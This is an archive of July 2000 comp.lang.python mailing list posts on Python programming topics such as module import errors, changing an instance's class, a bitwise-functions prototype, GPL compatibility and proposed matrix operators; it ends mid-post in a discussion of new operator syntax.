On Mon, 17 Jul 2000, Jacob Hunt wrote:

> I am new to python and want to use the nis module.  When I import the
> module I get the error:
> 
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ImportError: /usr/lib/python1.5/lib-dynload/nismodule.so: undefined
> symbol: yperr_string
> 
> what does this mean?  How can I correct the problem or is there a way
> around it.
> 
> I am using python 1.5.2 on x86 SuSE 6.4.

It basically means that SuSE has f**ked up the dependancy. Try compiling
Python from source and see if the problem goes away (it should)
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From david_ullrich at my-deja.com.bbs  Sun Jul 16 14:50:12 2000
From: david_ullrich at my-deja.com.bbs (david_ullrich at my-deja.com.bbs)
Date: 16 Jul 2000 18:50:12 GMT
Subject: Changing the class of an instance
Message-ID: <3bQWKa$j5h@openbazaar.net>

In article <etdbszzw6wv.fsf at w20-575-115.mit.edu>,
  Alex <cut_me_out at hotmail.com> wrote:
>
> >    Well it's exactly what I was doing once because I was a lot more
> > clever than the guys who said I shouldn't. And then I decided quite
> > suddenly that they were right. (At the end of a _long_ stretch
trying
> > to figure out why the heck something wasn't working - of course the
> > answer is the object in question was very different from the object
it
> > appeared it should be...)
>
> It can have really confusing consequences,

    I don't think "confusing" is the right word. Although I'm
fairly certain I won't get the words right: It destroys the...
maybe the word is "encapsulation" or "modularity" or something -
it means that you cannot verify things are correct by just
looking at things locally. When you write

def AClass:
  def AMethod(self):
    <some code>

you can't know that AMethod is correct just by inspecting
<some code>, because you have no idea whether <some code>
is what's executed when AMethod is called.

> but it's still too useful
for
> me to abandon.  If you have a class which takes a long time to
> instantiate (e.g., you have to load a lot of statistical data into
> memory,) then having a script like
>
> class C:
>     pass
>
> if 't' not in dir():
>     t = C()
>
> t.__class__ = C
> t.experiment_with_instance()
>
> can really decrease your turn-around time when you're debugging -- you
> can change t's methods around behind its back without changing its
data.

     Not sure what sort of debugging we're referring to. If you're
trying to figure out how to do something, as opposed to writing
code meant to be used later, that's different. I'm not sure whether
you're talking about temporary experimental code or "real" code;
the post that started this was evidently talking about real code.
In temporary code I suppose changing __class__ could be more
convenient simply because it possibly takes a few fewer lines
to write - in real code I don't see why changing the value
of aninstance.__class__ is better than creating a second instance
of the new class. Possibly I missed it, but I haven't seen any
reason given why changing __class__ is better than creating
a new instance (I don't think that the time it takes to load
data counts, there's no reason you have to reload the data
instead of referring to the data already loaded.)

> Alex.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Sun Jul 30 23:14:35 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 03:14:35 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com> <8luhsp51ce8@news2.newsguy.com>
Message-ID: <slrn8o9s0a.sv.hzhu@localhost.localdomain>

On Sat, 29 Jul 2000 14:07:17 +0200, Alex Martelli <alex at magenta.com> wrote:
[snip]
>> FLAG = bitwise.or(FLAG1, FLAG2, FLAG3, FLAG4, FLAG5, FLAG6, FLAG7, FLAG8)
>
>What an EXCELLENT idea.  shift left/right could also be packaged that
>way (or, almost so; 'or' is a reserved words in Python...).
>
>> quite "unpythonic" to let them occupy four unique ascii characters as
>
>Agreed, and worse if you consider << and >>.
>
[snip]
>
>The 'bitwise' module could supply easily explicit bitfield-extraction
>in place of the mask-and-shift idioms, too.
>
>Oh well -- maybe a hint for Python 3000, when backwards compatibility
>can be broken...!

Why wait that long!  Here's a prototype.  If this becomes default, it would
be easier to replace the implementation in the future - with much less to
break. 


""" bitwise.py - replaces builtin bitwise operations with named functions
"""

def bitleft(x, bits):
	return x << bits

def bitright(x, bits):
	return x >> bits

def bitshift(x, bits):
	"shift left (positive bits) or right (negative bits)."
	if bits >= 0:
		return x << bits
	else:
		return x >> -bits
	
def bitnot(x):
	return ~x

def bitxor(x1, x2):
	return x1 ^ x2

def bitor(*args):
	y = 0
	for x in args:
		y = y | x
	return y

def bitand(*args):
	y = ~0
	for x in args:
		y = y & x
	return y


if __name__ == "__main__":
	assert bitleft(16,2) == 64
	assert bitright(16,3) == 2
	assert bitshift(16,2) == 64
	assert bitshift(16,-3) == 2

	assert bitnot(7) == -8
	assert bitxor(6,7) == 1
	assert bitand(6,7) == 6
	assert bitor(6,7) == 7
	assert bitand(4,5,6) == 4
	assert bitor(4,5,6) == 7
	
	print "Tests passed"



From cut_me_out at hotmail.com  Thu Jul 13 14:58:18 2000
From: cut_me_out at hotmail.com (Alex)
Date: 13 Jul 2000 14:58:18 -0400
Subject: Why are some infinite recursion stack overflows hard to deal with?
References: <etdog43o1wh.fsf@nerd-xing.mit.edu> <p6qlmz61k1g.fsf@informatik.hu-berlin.de>
Message-ID: <etdog41x3g5.fsf@w20-575-115.mit.edu>

Thanks, Martin.  That makes a lot of sense of the examples I've seen of
this problem.

Alex.

> If you manage to run into recursion on the C stack, then the Python
> stack overflow check won't trigger. Every time a Python function is
> invoked, the recursion depth is incremented; you get the exception at
> 10000. However, if you have, say, 10 C functions per Python function,
> you may hit the stack limit of your operating system before the
> recursion depth limit is hit.



From python-list at teleo.net  Fri Jul  7 21:01:44 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Fri, 7 Jul 2000 18:01:44 -0700
Subject: Splitting c.l.py...
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com>
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com>
Message-ID: <0007071815170C.03526@quadra.teleo.net>

[Tim Peters, on Fri, 07 Jul 2000]
:: Can't speak for me mates at Luxurious PythonLabs World
:: Headquarters, but I'd like to apologize for my own lack of participation on
:: c.l.py over the past several months! 
<snip>
:: When things settle down, at least I intend to resume harassing c.l.py.  And
:: there's already a great deal of development discussion on Python-Dev that
:: *should* be on c.l.py.


Thanks for expressing this, Tim. You've been missed. Then, to compound
matters, I read the following Advogato diary entry from the effbot the
other day and truly began to wonder if the good old days were gone:

"""
5 Jun 2000 

                Just noticed that the Python version of the eff-bot has been online for five years (give or take a few days). 

                To celebrate this anniversary, I've decided to shut down the comp.lang.python newsgroup eff-bot! 

                (Frankly, it's been a while since c.l.py was the most interesting place in Pythonia, and it's no longer the endless
                source of positive energy it once was.) 

                But to avoid offending anyone (or everyone ;-), lets just say that five years is a very long time on the net. It's
                time to find other channels for the eff-bot. 

                Onwards!
"""



From nobody at nowhere.nohow  Mon Jul 31 10:28:53 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Mon, 31 Jul 2000 14:28:53 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com> <m2wvi4ruwm.fsf@mycroft.actrix.gen.nz> <slrn8o7rbi.g3b.grey@teleute.rpglink.com> <QNYg5.2854$6E.754883@ptah.visi.com> <m2n1izrr7t.fsf@mycroft.actrix.gen.nz>
Message-ID: <slrn8ob395.sck.nobody@isis.visi.com>

In article <m2n1izrr7t.fsf at mycroft.actrix.gen.nz>, Paul Foley wrote:

>> Steve is correct.  In my experience it is not only inoffensive
>> in some contexts, it has a positive connotation and means
>> someting along the lines of what "mate" means in Australia.
>
>Well, I say you're both wrong.

Say it all you want.  I've seen the word used that way.

-- 
Grant Edwards                   grante             Yow!  I'm having a MID-WEEK
                                  at               CRISIS!
                               visi.com            


From robin at alldunn.com  Thu Jul 13 23:10:50 2000
From: robin at alldunn.com (Robin Dunn)
Date: Thu, 13 Jul 2000 20:10:50 -0700
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com>
Message-ID: <zwvb5.2282$VER2.39649441@news.randori.com>

> > Under Windows NT or Win2k, you can use the PATHEXT environment
> > variable. Simply add ".py" to the semi-colon sep'd list of
> > extensions, and off you go!
>
> Great, thats a help for NT, but I also want to do this on Win98 :-).
>
> > No solution I am aware of for 95, although there are some tricks
> > you can pull (Im sure someone else will fill these in for you)!
>
> Anyone???
>

If you use the 4DOS command shell instead of command.com then you can set an
environment variable like this:

    set .py=c:\path\to\python.exe

--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!





From t.harris at robinsons.co.uk  Mon Jul 17 12:03:44 2000
From: t.harris at robinsons.co.uk (Toby)
Date: Mon, 17 Jul 2000 17:03:44 +0100
Subject: Global & Importing issues.... Newbie
Message-ID: <963849878.7647.0.nnrp-13.c3ad12d2@news.demon.co.uk>

I have a simple requirement for a second module to access a global variable
stored in the first (main) module.

I can reproduce my problem with the following 2 modules...

Mod1.PY >>>
import Mod2

myGlobal = None

if __name__ == "__main__":

  myGlobal = 100

  Mod2.DoPrint()
#endif
#endmodule


Mod2.PY >>>
import Mod1

def DoPrint():
  print Mod1.myGlobal
#enddef
#endmodule

When executing Mod1.PY I expect the answer 100 to be printed out, I get None

I also get the same problem if there is a function in Mod1 which prints the
value of myGlobal and is called from Mod2 - I think this is the same
problem.

:o(

Any help from Python experts ?

TIA Toby






From jeremy at beopen.com  Thu Jul  6 22:40:19 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 06 Jul 2000 22:40:19 EDT
Subject: readline.c & more
References: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <blk8eywti5.fsf@bitdiddle.concentric.net>

I agree that the system isn't great, but at least it provides us with
a mechanism to track patches and assign responsibility for them.  The
old email approach didn't have either feature, which made it much
harder for the people catching the patches.

You might suggestion an email interface in the SourceForge feature
request forum:  https://sourceforge.net/forum/?group_id=1

-- Jeremy Hylton <http://www.python.org/~jeremy/>


From heiland at ncsa.uiuc.edu  Mon Jul 31 16:12:19 2000
From: heiland at ncsa.uiuc.edu (Randy Heiland)
Date: Mon, 31 Jul 2000 15:12:19 -0500
Subject: check file exists
Message-ID: <3985DDA3.E811F70A@ncsa.uiuc.edu>

How does one test for whether or not a (Unix) file exists?

thanks,
Randy



From peter at schneider-kamp.de  Wed Jul 19 15:27:37 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 19:27:37 +0000
Subject: Where to put the PEPs? (was: Re: Python-dev summary: July 1-15)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com> <3974E8CD.55215FD9@inrialpes.fr> <3975E180.1AFD30D@roguewave.com>
Message-ID: <39760129.9BA42B7E@schneider-kamp.de>

Bjorn Pettersen wrote:
> 
> I think the PEPs are a great idea, but it would be even better if they
> were more accessible... How about putting them up on the beopen or
> python.org site? (That way the faq can refer to them for recurring
> discussions with all the arguments archived in the PEP...)

How about putting them on sourceforge?
python.sourceforge.net/peps/pep-0206.txt and friends

What do you think?
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From hzhu at localhost.localdomain  Tue Jul 18 16:00:32 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 20:00:32 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155> <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com> <8l0dqm$lji$1@eeyore.INS.CWRU.Edu> <slrn8n7htp.2jc.hzhu@rocket.knowledgetrack.com> <8l1gm5$kh4$1@eeyore.INS.CWRU.Edu>
Message-ID: <slrn8n9e1q.so.hzhu@rock.localdomain>

On 18 Jul 2000 11:56:53 GMT, Kevin Jacobs <jacobs at darwin.epbi.cwru.edu> wrote:
>Not really.  From what I've seen, the Python expression syntax is
>significantly simpler than the full grammar.  At least, its much simpler to
>parse.

So it has to be restricted to expressions.

>> One of my biggest gripe about matlab is it forces me to treat strings as
>> part of matrix.  Now you are asking me to treat matrix as part of string.
>> :-)
>
>Not matrices, just matrix expressions.  Maybe this isn't such a big deal
>for me since I grew up with LISP and Scheme.

Would you allow literal matrix initialization like Matrix([[1,2],[3,4]])
inside the quote?

>I have no problem with adding syntax for defining new operators.  In fact, I
>think that Standard ML allows just that.  I know I've seen a proposal
>something like this posted already, but lets consider a builtin like:
>
>add_infix_operator('.*', default_binary_element_multiply_evaluator,
>                   '__relement_multiply__', # Right associative class member
>                   '__lelement_multiply__') # Left associative class member
>
>where the default evaluator is called if the right or left associative
>member evaluators are not specified on the operand classes.  Such a scheme
>would be sufficient if all the proposed linear-algebra syntax used valid
>operators.  It should be possible to augment the Python grammar to support
>this, though its certainly not trivial.

I think this is the best way, but don't know if anybody is able to do it.

Huaiyu


From swun at eSec.com.au  Sun Jul 23 21:09:06 2000
From: swun at eSec.com.au (Sam Wun)
Date: Mon, 24 Jul 2000 11:09:06 +1000
Subject: example for inherit the thread class?
Message-ID: <397B9732.ACEBBF2A@eSec.com.au>

Does anyone have example of how to inherit the thread class?

or point to an url for some example?

Thanks

Sam.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000724/5e785393/attachment.html>

From hzhu at localhost.localdomain.bbs  Mon Jul 17 21:20:03 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 18 Jul 2000 01:20:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
Message-ID: <3bRW43$iPy@openbazaar.net>

On Mon, 17 Jul 2000 19:22:31 -0500, Paul Prescod <paul at prescod.net> wrote:

>I don't think you need __getattr__
>
>class Matrix:
>	def __init__( self, ....):
>		self.T=Transpose( self )
>		self.H=Hermitian( self )
>		self.I=Inverse( self )
>		self.C=Conjugate( self )
>		self.E=Elementwise( self )
>		self.M=self # matrixwise is default
>	... other matrix-like methods ...
>
>class Transpose:
>	def __init__( self, mymatrix ):
>		self.mymatrix=mymatrix
>	... other matrix-like methods, but transposed ...
>
>Notice that no computation (e.g. actual transposition) needs to be done
>until you actually need to calculate a value. Maybe you can find
>optimizations that allow only tiny parts of matrices to be computed.

This is interesting.  I suppose the computational cost is minimum. What
about implementation?  Do I have to write everything five times?  Right now
I'm even using .T() to avoid writing both left and right computations.  It
cost some computation but saves a lot of implementation and maintainence.
Note that even one liners are relatively big cost because most of the
current functions are just one liners.

Huaiyu


From breiter at usf.Uni-Osnabrueck.DE  Mon Jul 31 09:13:59 2000
From: breiter at usf.Uni-Osnabrueck.DE (Bernhard Reiter)
Date: 31 Jul 2000 13:13:59 GMT
Subject: GPL Compatability (was Re: The State of Python)
References: <Pine.GSO.4.10.10007290914210.18798-100000@sundial>
    <8luufo$ags$3@newshost.accu.uu.nl>
Message-ID: <8m3u2n$g48$4@newsserver.rrzn.uni-hannover.de>

In article <8luufo$ags$3 at newshost.accu.uu.nl>,
	m.faassen at vet.uu.nl (Martijn Faassen) writes:
> Moshe Zadka <moshez at math.huji.ac.il> wrote:
>> On 28 Jul 2000, Martijn Faassen wrote:
>>> Moshe Zadka <moshez at math.huji.ac.il> wrote:
>>> > On Fri, 28 Jul 2000, Paul Duffin wrote:
>>> 
>>> >> What does GPL compatible mean ? 
>>> > It means that it can be relicenced as GPL.

This is basically correct, but for the resulting whole product.

>>> Are you sure? I thought it meant you could legally link it to
>>> GPL-ed software. That's what the whole Qt/KDE squabble is about, at least.

Yes, this is exactly what it means.
The whole product thing was not produced by the GPL nor is the
complexity of this license its own fault. 

AFAIU it is the law, which has strange interpretations of a whole
product and code linked to each other is a whole product.
To fully secure freedom with a strong copyleft you need to demand
that the resulting product containing your code is still under the 
save copyleft rules. You cannot allow the whole product to be
less well protected or you loose a lot and it would be a serious
backdoor. 

All the GPL tries is to protect the freedom securely and that is
what it does. Other code is not that well protected and only
compatible with the GPL if is allows the resulting product to be
well protected. 

I hope this sheds some light on the issue. :)
	Bernhard
-- 
Professional Service around Free Software                (intevation.net)  
The FreeGIS Project				            (freegis.org)
Association for a Free Informational Infrastructure            (ffii.org)


From milenko at moonshine.co.uk  Fri Jul 21 19:26:26 2000
From: milenko at moonshine.co.uk (Jack)
Date: 21 Jul 2000 23:26:26 GMT
Subject: Newbie pythoner, with bizzare problem
Message-ID: <8F79257Amilenkomoonshinecouk@194.73.73.116>

Hey there, 

im pretty new to using python, and im just experimenting with file access, 
a wrote a script that works fine, and then all of a sudden it started 
throwing up this error:

inp = open("c:/autoexec.bat",'r')
TypeError: illegal argument type for built-in operation

it was working fine before, and i dont see anything unusual in the syntax.

Any help would be appreciated,

Cheers, 

Jack Green


From tttok_2000 at yahoo.com  Wed Jul 12 03:24:36 2000
From: tttok_2000 at yahoo.com (Ahmed Ahmed)
Date: Wed, 12 Jul 2000 00:24:36 -0700 (PDT)
Subject: Monitoring Network Ports
Message-ID: <20000712072436.11470.qmail@web3402.mail.yahoo.com>

Can you tell me how to write a Python code to find all
the network ports that are in use on a server?

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From jepler.lnk at lnk.ispi.net  Sun Jul 16 22:07:03 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Mon, 17 Jul 2000 02:07:03 GMT
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de> <slrn8mmpq7.he2.jepler.lnk@potty.dsndata.com> <396EE83D.FB60B033@bioreason.com> <396EEB9F.20FBC9A4@bioreason.com>
Message-ID: <bTtc5.181$ttZ2.8650968@news.randori.com>

On Fri, 14 Jul 2000 11:29:51 +0100, Brian Kelley
 <kelley at bioreason.com> wrote:
>I goofed, I actually do get this behavior in windows.  I started a new thread
>"string issues or questions about intern"

Oh good!  So we agree that the problem is 
	while:
		eval(`uniquestring()`)
and presumably because of the implicit intering of the string itself?

See you on the other thread, which seems to have gotten more traffic.

Jeff


From tjreedy at udel.edu  Mon Jul 17 12:50:33 2000
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 17 Jul 2000 12:50:33 -0400
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch> <20000716165538.V7340@xs4all.nl> <39733AC7.96CCBF81@schneider-kamp.de>
Message-ID: <8kvd70$dn4$1@news.udel.edu>

"Peter Schneider-Kamp" <peter at schneider-kamp.de> wrote in message
news:39733AC7.96CCBF81 at schneider-kamp.de...
> Thomas Wouters wrote:
> >
> > As for the patch itself, it looks okay, though I'd say the restriction
on
> > padchar being a single character is a bit strange. Why not allow
multiple
> > characters as padding ? string.join() allows strings instead of single
> > characters, too.
>
> Two reasons why not:
> - it would have been harder to implement <wink>
> - undetermined semantics:
>   "GvR".ljust(6,"12") =?= "GvR121"

This is exactly what I would expect -- a 6 char result string

>   or
>   "GvR".ljust(6,"12") =?= "GvR12"
>   or
>   "GvR".ljust(6,"12") =?= "GvR1212"

But these are not the right length -- someone who wanted something like
this
should examine lengths of input and pad and adjust whatever accordingly.

>   I would vote for the first, but I am not sure it is obvious.

Anything else would surprise me, so I agree.  TJR




From neilh at scintilla.org  Wed Jul 19 09:42:12 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 19 Jul 2000 13:42:12 GMT
Subject: Stripping down Python
References: <Pine.LNX.4.21.0007191525280.25218-100000@lade.src.no>
Message-ID: <Ueid5.6594$4p3.46898@news-server.bigpond.net.au>

> Are there any papers/stories ideas of how to most effectively strip down
> Python? Ie. how to trim down the size of Python as much as possible,
> removing the parser etc. Just having the basic Python interpreter, with
> basic libraries, capable of running .pyc and .pyo files.

Deeply embedded Python
    http://www.abo.fi/~iporres/python/

    Neil




From phil at river-bank.demon.co.uk.bbs  Sun Jul 16 12:20:02 2000
From: phil at river-bank.demon.co.uk.bbs (phil at river-bank.demon.co.uk.bbs)
Date: 16 Jul 2000 16:20:02 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
Message-ID: <3bQSP2$kCD@openbazaar.net>

Visual Python is aimed at KDE and GNOME application developers and allows you
to easily embed Python as a GUI enabled scripting language in your application.

It includes KDE and GNOME APIs to manage Python interpreters, scripts and the
communications between running scripts and your application.

Users benefit from a common scripting language allowing them to develop
scripting skills that are re-usable with all their applications. The same
Visual Python script uses KDE widgets when run from a KDE application, and
GNOME widgets when run from a GNOME application.

When used in conjunction with tools like SWIG and SIP to expose application
specific functionality to scripts, developers can provide their users with the
ability to extend their application in many ways.

The Visual Python home page is at http://www.thekompany.com/projects/vp/.

Phil


From R.Brodie at rl.ac.uk  Mon Jul 31 07:26:09 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Mon, 31 Jul 2000 12:26:09 +0100
Subject: How does Python compare to ?
References: <Pine.GSO.4.10.10007311048410.10092-100000@sundial>
Message-ID: <8m3noj$10la@newton.cc.rl.ac.uk>

"Moshe Zadka" <moshez at math.huji.ac.il> wrote in message
news:Pine.GSO.4.10.10007311048410.10092-100000 at sundial...

> CGI requires always a process startup and usually interpreter (be it
> Tcl, Guile, Perl or Python) startup. That makes it unacceptable if there
> are more then 2 hits/second.

Yes, but you can easily use Apache extensions for at least three of
those languages. I can't see any particular reason why mod_perl and
mod_python shouldn't give comparable performance to mod_php.




From vtbl.moorepe at memo.volvo.se  Fri Jul 14 09:19:00 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Fri, 14 Jul 2000 13:19:00 +0000
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kmtab$4or$1@pollux.ip-plus.net>
Message-ID: <396F131C.4AD83C8A@memo.volvo.se>

I should like it to kick c#'s butt, perhaps

Bruno Gustavs wrote:
> 
> "Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
> news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> > What do you mean by "language constructs", Python keywords
> > like "for" or "class"? Are you expecting some statistics of
> > used keywords over one's own code?
> >
> > I doubt this will be very useful, like the answer to the
> > question: "Which are the ten most used words in English?".
> > But maybe I'm not understanding well how you think you'll
> > benefit from such an answer...
> 
> Lets assume you're going to design Phyton2. What would this
> language contain? What should Phyton2 support? What would you
> like to solve with Phyton2?
> 
> Regards
> Bruno Gustavs


From bvdpoel at uniserve.com  Wed Jul 19 19:56:29 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Wed, 19 Jul 2000 16:56:29 -0700
Subject: CDDB
Message-ID: <3976402D.9B957E2F@uniserve.com>

Has anyone converted the cddb code which calulates the cddb id and track
timing for a cd from C to python? Looks like it should be possible
without too much work...I was going to try this myself, but figured I'd
ask before I started...

Thanks.

-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel



From gee308 at mediaone.net  Tue Jul 25 01:01:04 2000
From: gee308 at mediaone.net (Toy)
Date: Tue, 25 Jul 2000 05:01:04 GMT
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net> <2kYe5.25991$1h3.418424@news20.bellglobal.com> <8li9dq$8do$1@nnrp1.deja.com> <397CD2C4.8D28FE65@mediaone.net> <397D2423.C06FEB9B@pool.informatik.rwth-aachen.de>
Message-ID: <397D243A.FEFA34F4@mediaone.net>

Thanks, I just didn't have time to search for it.


Peter Schneider-Kamp wrote:

> Toy wrote:
> >
> > The link is broken, could you show me another link?
> >
> > Jeremy Hylton wrote:
> >
> > > http://www.cnri.reston.va.us/software/pisces/manual/module-
> > > pisces.pwcrypt.html
>
> http://www.cnri.reston.va.us/software/pisces/manual/module-pisces.pwcrypt.html
>
> Come on, that is not THAT hard ;-)
> Peter
> --
> Peter Schneider-Kamp          ++47-7388-7331
> Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
> N-7050 Trondheim              http://schneider-kamp.de



From bill at dehora.fsnet.co.uk  Sat Jul 29 15:47:15 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Sat, 29 Jul 2000 20:47:15 +0100
Subject: agents
References: <8l55hg$6ia$1@newsg1.svr.pol.co.uk>
Message-ID: <8lvcgn$f7e$1@news6.svr.pol.co.uk>

"Bill de h?ra" <bill at dehora.fsnet.co.uk> wrote in message
news:8l55hg$6ia$1 at newsg1.svr.pol.co.uk...
> Before I go off and start these myself, is anyone working on Agent
> frameworks and or tuple spaces (Linda-alikes) in Python?
>
> -Bill de h?ra

That'll be a no then ;-) All I could find were Lintyn (a retargetable MUD
client) and Knowbot (internet agents:
http://www.cnri.reston.va.us/home/koe/index.html).

Right, I is off codin.

-Bill de h?ra




From rgparker at west.net  Sun Jul  9 20:19:19 2000
From: rgparker at west.net (Randall Parker)
Date: Mon, 10 Jul 2000 00:19:19 GMT
Subject: Python book suggestions?
Message-ID: <MPG.13d2b74a5f5c63ea98981c@news.onlynews.com>

I would like to learn Python because people I respect think highly of it. 
I have backgroun in C++, Java, and assorted other languages. I intend to 
use Python to do web site development.

Does anyone have any suggestions as to which books are good for learning 
the Python language? 

How about a book about Python and XML?

How about a book about Python for web site development?

I'm thinking of starting with the v1.6 version that I see from an article 
has a number of language changes over previous versions. Are any books 
due out imminently that will cover this newer version?



From banderson at boi.hp.com  Tue Jul 18 20:10:34 2000
From: banderson at boi.hp.com (Bill Anderson)
Date: Tue, 18 Jul 2000 18:10:34 -0600
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
References: <963764534.1476580377@news.demon.co.uk> <Mvlc5.87920$W35.2015766@news20.bellglobal.com>
Message-ID: <3974F1FA.5D4A9F40@boi.hp.com>

Olivier Dagenais wrote:
> 
> You may want to hook up with the guys at ActiveState for your Win32 version
> of VisualPython:
> 
> http://www.activestate.com/Products/VisualPython.html
> 
> Unless both of you came up with the name "Visual Python" to mean totally
> different things??

<tongue_in_cheek>
Easy:
"Visual Python"
 -and-
"Visual python"

-- 
Bill Anderson (ARC)    Unix/Linux System Administrator
HPSO Engineering Productivity Team     Thursday, July 13, 2000    	
Random Quote:
  A bug in the hand is better than one as yet undetected.


From claird at starbase.neosoft.com  Wed Jul 19 17:40:03 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 19 Jul 2000 16:40:03 -0500
Subject: newb question
References: <39761E61.1E2191B4@tcgfinancial.com>
Message-ID: <1DAEC848DF4B11DE.52EE01F00D60F6E0.982C845CA8423473@lp.airnews.net>

In article <39761E61.1E2191B4 at tcgfinancial.com>,
jtoy  <toyboy at toy.eyep.net> wrote:
			.
			.
			.
>Third, how can I make Python recognize what OS its on, that wat if I
			.
			.
			.
  import os
  print os.name
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From tim_one at email.msn.com  Wed Jul 19 01:12:11 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Wed, 19 Jul 2000 01:12:11 -0400
Subject: Discussion: Introducing new operators  for  matrix computation
In-Reply-To: <slrn8n9i9j.so.hzhu@rock.localdomain>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com>

Sleeping in the same room with Guido for a night did not make it easier to
channel him, but it did make it easier to cloud his mind:  Guido is not
opposed to adding new operator symbols to core Python.  As of breakfast
Tuesday, anyway, and there are witnesses, so he'll have trouble changing his
mind (well, it will be clumsy for him to *admit* it if he changes his mind
<wink> ...).

But but but (you knew it wouldn't be *that* easy!):

+ Everybody concerned that new operators are "not Pythonic" please swallow
it -- it is Pythonic, cuz Guido said it is <0.9 wink -- but see following
points too>.  Contribute by helping to come up with a complete and
Pythonically beautiful implementation instead.

+ Please keep this off of Python-Dev.  Doesn't belong there (at least not
yet).  Interested parties can form a mailing list, or try to discuss it on
comp.lang.python (my personal hope is that you try the latter, and stick to
one Subject line).

+ There *must* be a PEP for this.  Guido won't read any more of the
debate -- it's too voluminous, repetitive and contentious.  He'll eventually
read a PEP, though, *after* some sort of consensus is reached.  A PEP
requires a champion.  I hope Huaiyu Zhu volunteers for this, as he's argued
his case eloquently and rationally.  The champion doesn't need to know how
to implement it, but does need to summarize sometimes-opposing positions
dispassionately.

+ There are things Guido will & won't tolerate.  Guessing which is an
interesting & educational challenge <wink>.  For example, adding a new
operator like

    .+

